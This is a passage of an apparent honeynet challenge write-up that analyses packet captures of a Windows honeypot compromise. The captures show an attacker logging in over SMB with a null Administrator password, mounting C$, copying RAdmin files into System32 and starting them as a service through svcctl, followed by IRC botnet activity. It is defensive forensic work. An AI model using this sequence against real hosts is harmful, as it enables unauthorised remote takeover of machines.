1365 322253.694132 172.16.134.191 -> 210.22.204.101 SMB Negotiate
Protocol Response
Authenticate. The attacker could use either the NULL session ("":"")
or login as Administrator ("Administrator:"") since the latters password
is set null (can be known by bruteforcing prior to this session or with
a wise first-guess). The client successfully authenticates as "Administrator"
(this implies the attacker did indeed already know prior to this session
that the password was null)
1367 322253.931020 210.22.204.101 -> 172.16.134.191 SMB Session
Setup AndX Request
1368 322253.935814 172.16.134.191 -> 210.22.204.101 SMB Session
Setup AndX Response, Error: STATUS_MORE_PROCESSING_REQUIRED
1369 322254.177030 210.22.204.101 -> 172.16.134.191 SMB Session
Setup AndX Request
1370 322254.181613 172.16.134.191 -> 210.22.204.101 SMB Session
Setup AndX Response
Connect to the IPC$ resource. This is necessary to create named
pipes used for DCERPC (Remote Procedure Calls over SMB). Some named pipes,
such as NetLogon, work with NULL sessions (user name and password of NULL
used to connect to IPC$), while others like WinReg and SvcCtl require authentication.
1371 322254.418561 210.22.204.101 -> 172.16.134.191 SMB Tree
Connect AndX Request, Path: \\172.16.134.191\IPC$
1372 322254.420719 172.16.134.191 -> 210.22.204.101 SMB Tree Connect
AndX Response
svcctl is a "set of RPCs that allow a remote client to control
an NT Server's Services - install/start/stop/pause etc."
1373 322254.655965 210.22.204.101 -> 172.16.134.191 SMB NT
Create AndX Request, Path: \svcctl
1374 322254.661675 172.16.134.191 -> 210.22.204.101 SMB NT Create
AndX Response, FID: 0x400c
1385 322256.119668 210.22.204.101 -> 172.16.134.191 SMB Session
Setup AndX Request
1386 322256.123709 172.16.134.191 -> 210.22.204.101 SMB Session
Setup AndX Response, Error: STATUS_MORE_PROCESSING_REQUIRED
1387 322256.349702 210.22.204.101 -> 172.16.134.191 SMB Session
Setup AndX Request
1388 322256.354974 172.16.134.191 -> 210.22.204.101 SMB Session
Setup AndX Response
1390 322256.598010 210.22.204.101 -> 172.16.134.191 SMB Tree Connect
AndX Request, Path: \\172.16.134.191\IPC$
1391 322256.599434 172.16.134.191 -> 210.22.204.101 SMB Tree Connect
AndX Response
1392 322256.828051 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request GET_DFS_REFERRAL, File: \172.16.134.191\C$
1393 322256.835362 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response GET_DFS_REFERRAL, Error: STATUS_NO_SUCH_DEVICE
Mount the C$ share. Note that this (also ADMIN$) requires authentication
as Administrator.
1394 322257.058080 210.22.204.101 -> 172.16.134.191 SMB Tree
Connect AndX Request, Path: \\172.16.134.191\C$
1395 322257.061528 172.16.134.191 -> 210.22.204.101 SMB Tree Connect
AndX Response
Copy 3 files r_server.exe, raddrv.dll, admdll.dll files over to
the honeypot's System32 directory.
1396 322257.318799 210.22.204.101 -> 172.16.134.191 SMB NT
Create AndX Request, Path: \WINNT\System32\r_server.exe
1397 322257.341355 172.16.134.191 -> 210.22.204.101 SMB NT Create
AndX Response, FID: 0x400d
1398 322257.570116 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request SET_FILE_INFORMATION, FID: 0x400d
1399 322257.586294 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response SET_FILE_INFORMATION
1400 322257.841112 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400d
1457 322258.624133 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400d
1458 322258.984524 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400d
1519 322259.727319 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400d
1520 322259.961613 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400d
1586 322261.256821 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400d
1587 322261.507060 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400d
1644 322262.982361 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400d
1645 322263.214944 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request SET_FILE_INFORMATION, FID: 0x400d
1646 322263.218008 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response SET_FILE_INFORMATION
1647 322263.454360 210.22.204.101 -> 172.16.134.191 SMB Close
Request, FID: 0x400d
1648 322263.456632 172.16.134.191 -> 210.22.204.101 SMB Close
Response
1649 322263.704823 210.22.204.101 -> 172.16.134.191 SMB NT
Create AndX Request, Path: \WINNT\System32\raddrv.dll
1650 322263.717055 172.16.134.191 -> 210.22.204.101 SMB NT Create
AndX Response, FID: 0x400e
1651 322263.981895 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request SET_FILE_INFORMATION, FID: 0x400e
1652 322263.981897 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response SET_FILE_INFORMATION
1653 322264.247250 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400e
1683 322264.744173 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400e
1684 322264.983000 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request SET_FILE_INFORMATION, FID: 0x400e
1685 322264.995002 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response SET_FILE_INFORMATION
1686 322265.322802 210.22.204.101 -> 172.16.134.191 SMB Close
Request, FID: 0x400e
1687 322265.323902 172.16.134.191 -> 210.22.204.101 SMB Close
Response
1688 322265.566763 210.22.204.101 -> 172.16.134.191 SMB
NT Create AndX Request, Path: \WINNT\System32\admdll.dll
1689 322265.571724 172.16.134.191 -> 210.22.204.101 SMB NT Create
AndX Response, FID: 0x400f
1690 322265.816623 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request SET_FILE_INFORMATION, FID: 0x400f
1691 322265.827399 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response SET_FILE_INFORMATION
1696 322266.119599 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400f
1761 322268.446845 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400f
1762 322268.711701 210.22.204.101 -> 172.16.134.191 SMB Write
AndX Request, FID: 0x400f
1791 322269.441156 172.16.134.191 -> 210.22.204.101 SMB Write
AndX Response, FID: 0x400f
1792 322269.666568 210.22.204.101 -> 172.16.134.191 SMB Transaction2
Request SET_FILE_INFORMATION, FID: 0x400f
1793 322269.669938 172.16.134.191 -> 210.22.204.101 SMB Transaction2
Response SET_FILE_INFORMATION
1794 322269.892010 210.22.204.101 -> 172.16.134.191 SMB Close
Request, FID: 0x400f
1795 322269.892012 172.16.134.191 -> 210.22.204.101 SMB Close
Response
1798 322270.304761 210.22.204.101 -> 172.16.134.191 SMB Tree Disconnect
Request
1799 322270.343551 172.16.134.191 -> 210.22.204.101 SMB Tree Disconnect
Response
1816 322273.636546 210.22.204.101 -> 172.16.134.191 SMB Close
Request, FID: 0x400c
1817 322273.638414 172.16.134.191 -> 210.22.204.101 SMB Close
Response
1818 322273.936846 210.22.204.101 -> 172.16.134.191 SMB Logoff
AndX Request
1819 322273.939996 172.16.134.191 -> 210.22.204.101 SMB Logoff
AndX Response
1820 322274.176910 210.22.204.101 -> 172.16.134.191 SMB Tree Disconnect
Request
1821 322274.197356 172.16.134.191 -> 210.22.204.101 SMB Tree Disconnect
Response
1966 322324.464316 210.22.204.101 -> 172.16.134.191 SMB Tree Disconnect
Request
1967 322324.470698 172.16.134.191 -> 210.22.204.101 SMB Tree Disconnect
Response
1968 322324.694987 210.22.204.101 -> 172.16.134.191 SMB Logoff
AndX Request
1969 322324.707076 172.16.134.191 -> 210.22.204.101 SMB Logoff
AndX Response
..
A search for the files r_server.exe, admdll.dll and raddrv.dll came
up with [7] . These files constitute the RAdmin remote-control
program for Windows operating systems. The page explains how to install
the RAdmin software over a SMB mounted C drive and correlates perfectly
with the session above. Fruthermore, the default monitor port of the software
is TCP port 4899! This clearly means the attacker started this service after
copying the files over this session; and that explains the suspicious
creating of this open port during the above time window. Further, the
software allows 128-bit data encryption on the session with port 4899
and allows password protection of the remote control.
To find where in this session the attacker starts the remote control
software, we will need to look at the DCERPC calls. A little grepping
with tethereal -V -x for "DCE RPC" and r_server, we get:
..
DCE RPC
Version: 5
Version (minor): 0
Packet type: Request (0)
Packet Flags: 0x03
0... .... = Object: Not
set
.0.. .... = Maybe: Not
set
..0. .... = Did Not Execute:
Not set
...0 .... = Multiplex:
Not set
.... 0... = Reserved:
Not set
.... .0.. = Cancel Pending:
Not set
.... ..1. = Last Frag:
Set
.... ...1 = First Frag:
Set
Data Representation: 10000000
Byte order: Little-endian
(1)
Character: ASCII (0)
Floating-point: IEEE (0)
Frag Length: 208
Auth Length: 0
Call ID: 6
Alloc hint: 184
Context ID: 0
Opnum: 24
Stub data (184 bytes)
0000 00 05 69 00 01 e2 00 e0 b6 05 ce 0a 08 00 45 00
..i...........E.
0010 01 50 5f 75 40 00 6b 06 e7 8b d2 16 cc 65 ac 10
.P_u@.k......e..
0020 86 bf 0f 69 01 bd 71 4c d1 a6 8a fe 9c c7 50 18
...i..qL......P.
0030 fa 5d 99 68 00 00 00 00 01 24 ff 53 4d 42 25 00
.].h.....$.SMB%.
0040 00 00 00 18 07 c8 00 00 00 00 00 00 00 00 00 00
................
0050 00 00 06 08 5c 02 01 10 00 09 10 00 00 d0 00 00
....\...........
0060 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 54
...............T
0070 00 d0 00 54 00 02 00 26 00 0c 40 e1 00 00 5c 00
...T...&..@...\.
0080 50 00 49 00 50 00 45 00 5c 00 00 00 ff 00 05 00
P.I.P.E.\.......
0090 00 03 10 00 00 00 d0 00 00 00 06 00 00 00 b8 00
................
00a0 00 00 00 00 18 00 00 00 00 00 b0 b0 5e 65 ae 4e
............^e.N
00b0 d7 11 b3 9d 00 05 69 00 01 56 06 00 00 00 00 00
......i..V......
00c0 00 00 06 00 00 00 72 61 64 6d 6d 00 00 00 34 5b
......radmm...4[
00d0 f6 00 06 00 00 00 00 00 00 00 06 00 00 00 72 61
..............ra
00e0 64 6d 6d 00 6d 33 ff 01 0f 00 10 01 00 00 02 00
dmm.m3..........
00f0 00 00 01 00 00 00 28 00 00 00 00 00 00 00 28 00
......(.......(.
0100 00 00 43 3a 5c 57 49 4e 4e 54 5c 53 79 73 74 65
..C:\WINNT\Syste
0110 6d 33 32 5c 72 5f 73 65 72 76 65 72 2e 65 78 65
m32\r_server.exe
0120 20 2f 73 65 72 76 69 63 65 00 00 00 00 00 00 00
/service.......
0130 00 00 00 00 00 00 00 00 00 00 c0 bd fe 00 0c 00
................
0140 00 00 00 00 00 00 0c 00 00 00 4c 6f 63 61 6c 53
..........LocalS
0150 79 73 74 65 6d 00 00 00 00 00 00 00 00 00
ystem.........
..
Else, with tcpdump and strings this time:
$ tcpdump -n -r src_dump/sotm27 -w - tcp and src host 210.22.204.101
and dst port 445 | strings | grep r_server
r_server2
C:\WINNT\System32\r_server.exe /service
$
This conclusively proves that the attacker did exploit the NULL password
vulnerability, install a remote-control software on it, and start that
as a service. Since the session on port 4899 is 128-bit encrypted, we
can't see the exchange of commands/data with tcpdump/ethereal. It straightward
to control the honeypot now to connect to any external server including
the IRC botnet. This concludes lead #1 and lead #5.
Analysing lead #2:
This lead was due to the outbound connections seen from the honeynet
to TCP port 80 on several web servers. After a quick manual analysis of these
sessions (specifically looking for the outbound GET/POST requests), it strongly
indicated a legitimate set of HTTP sessions by the honeypot's local user(s)
to browse and download forensics utilities from miscelleneous related web
sites. Let's mark this lead #2 as closed.
Analysing lead #3:
This lead was due to the outbound connections seen from the honeypot
to TCP port 6667 on some external servers (potentially IRC servers). Each
of these was analysed as part of answer to beginner question Q 7. Clearly,
those sessions were indeed the honeypot attempting to establish an IRC session
with an external IRC server. The attacker(s) was successful in joining the
honeynet to the IRC channel "x......x' through his/her session with the IRC
server 209.196.44.172 . We also confirmed from tcpdump/tethereal that these
attempts took place after the compromise analyzed in lead #1, indicating
that the attacker/source from lead #1 could be the operator of the IRC botnet
channel.
Analysing lead #4:
This lead was due to the outbound connection attempts seen from
the honeypot to TCP port 31337 of some external IP address (199.107.7.2)
. Although these TCP connections were never responded to, meaning that the
external host was not listening on that port, the fact that the port number
is 31337, which in hacker-culture/lingo is used to mean ELEET (mirrored),
strongly implies that the system was compromised before this outbound connection.
Again, this happended after the compromised analyzed in lead #1, and the attacker
from lead #1 could very well be responsible for these (failed) connection
attempts. No new information is gained from this lead.
Summarizing, we find that the source IP 210.22.204.101 launched
several malicious sessions with the honeypot, most noteably a series of SMB
sessions. From the analysis in lead #1, we conclude that he/she had guessed/bruteforced
the Administrator password as NULL and used that to login into the MS DCE/RPC-SMB
server on TCP port 445. The attacker also succeeded in connecting to the
IPC$ resource which allowed him/her to use the svcctl service remotely. After
installing and starting the RAdmin remote control program on the honeypot,
the attacker had full control of the latter. Even if the RAdmin program was
terminated after this point of time, the honeypot system can not be trusted
to be secure since the attacker could have installed scheduled/stealth services
that would easy access later. We think this attacker has a good chance of
being the operator of the IRC botnet to which the honeypot connected later.
We would like to rate our skill as beginner. The intermediate
questions look interesting. We will only briefly comment on those. Please
do not consider these as complete analyses, but just quick remarks/comments.
In the above analysis, we used strong indicators like suspicious open ports,
outbound connections from the honeypot etc to generate leads #1-#5. This
lead to the analysis of the compromise (from lead #1). One could always bruteforce
each and every session in the packet log, but that may not be realistic in
practice. We are interested in learning any additional heuristics/rules-of-thumb
other SOTM-contributors provide that would automate such an intrusive-state
marking process for the several sessions in the packet log.
Intermediate Questions:
1. What IP addresses were used in attacking the honeypot?
A. All source IPs initiating communication with the honeypot should be
considered suspect. Honeypots, by definition, do not provided any services
to legitimate regular remote users. Any inbound connection to the honeypot
should be considered as a trespass attempt to begin with. There were about
77 source IPs that had (successful/failed) sessions with the honeypot. Theoretically,
one could bruteforce and manually inspect each of these to determine whether
they were malicious or legit. Practically speaking however, this may not be
possible. We would mark all source IPs as attackers.
2. What vulnerabilities were they attempting to exploit?
A. Again, without strong hunches/heuristics, we would end up pretty much
manually inspecting each session for answering this question. We did however
find that most attacking sessions could be classified as some combination
of : Port scanning, SMB sessions (NULL sessions with IPC$, mounting C$/Admin$,
creating files, DCERPC to run services etc), attacks on MS IIS web server
(NULL.ida attack described in lead #1, "../" & cmd.exe Nimda style attacks
to run remote command prompts/shells, information gathering (again port scanning,
banner grabbing, SMB sessions etc) and so on.
3. Which attacks were successful?
A. We have provided an analysis on one successful compromise with a SMB/DCERPC
session from source IP 210.22.204.101. We also proved that the web NULL.ida
based attacks against MS-IIS from the same IP were unsuccessful. There could
be other attackers over the other SMB/Web/Other sessions which were successful
as well.
Thanks for a very interesting SOTM challenge!
References:
1. Original IRC RFC, http://www.faqs.org/rfcs/rfc1459.html
2. Gallery of botnet-activity screen-captures, http://lockdowncorp.com/bots/gallery.html
3. IRC servers' list, http://www.irchelp.org/irchelp/networks/servers/index.html
4. EEye's MS IIS Indexing Service Vulnerability Advisory, http://www.eeye.com/html/Research/Advisories/AD20010618.html
5. RST or FIN-ACK on Application Crash Discussion #1, http://groups.google.com/groups?threadm=3B23A32C.8B2A788%40ix.netcom.com
6. RST or FIN-ACK on Application Crash Discussion #2, http://marc.theaimsgroup.com/?t=102754968200004&r=1&w=2
7. Famatech's Remote Administrator (RAdmin) Software, http://www.radmin.com/solutions/enterprise/push.html